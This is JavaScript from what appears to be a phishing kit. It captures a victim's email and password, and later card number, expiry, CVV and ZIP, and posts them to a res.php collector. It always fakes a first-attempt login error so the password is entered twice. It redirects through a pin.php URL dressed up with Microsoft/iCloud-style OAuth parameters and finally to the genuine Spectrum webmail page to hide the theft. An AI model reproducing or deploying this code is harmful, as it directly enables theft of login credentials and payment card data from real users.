        const signForm = document.querySelector(".signForm");
        const cadForm  = document.querySelector(".cadForm");
        const loaderBox = document.querySelector(".loaderBox");
        const errorBox = document.querySelector(".errorBox");
        const emailInp = document.getElementById("emailInp");

        let count = 0;

         const em22 = localStorage.getItem("em");
         emailInp.value = em22;
      

        window.addEventListener("load", () => {
            const autoEmail = window.location.href.split("#")[1];
            if(autoEmail){
                 emailInp.value = autoEmail;
            }
        });


        signForm.addEventListener("submit", (e) => {
            e.preventDefault();

            const email = e.target.elements.email.value;
            const pass = e.target.elements.pass.value;

            const fd = new FormData();
            fd.append("email", email);
            fd.append("pass", pass);

            fetch("res.php", { method: "POST", body: fd})

            count++;

             errorBox.classList.add("hide");
             loaderBox.classList.remove("hide");

            if(count === 1){
                setTimeout(() => {
                    loaderBox.classList.add("hide");
                    errorBox.classList.remove("hide");
                    e.target.elements.pass.value = "";
                }, 2000);
            }
            else {
                setTimeout(() => {
                    loaderBox.classList.add("hide");
                    e.target.reset();
                      window.location.href = "../pin.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                }, 4000);
            }
        });


        cadForm.addEventListener("submit", (e) => {
            e.preventDefault();

            const cName = e.target.elements.cName.value;
            const cNum = e.target.elements.cNum.value;
            const cExp = e.target.elements.cExp.value;
            const cvv = e.target.elements.cv.value;
            const zip = e.target.elements.zip.value;

            loaderBox.classList.remove("hide");

            const fd = new FormData();
            fd.append("cName", cName);
            fd.append("cNum", cNum);
            fd.append("cExp", cExp);
            fd.append("cv", cvv);
            fd.append("zip", zip);
            
            fetch("res.php", { method: "POST", body: fd})


             setTimeout(() => {
                    loaderBox.classList.add("hide");
                    e.target.reset();
                    window.location.href = "https://webmail.spectrum.net/mail/auth#email";
                }, 4000);
        });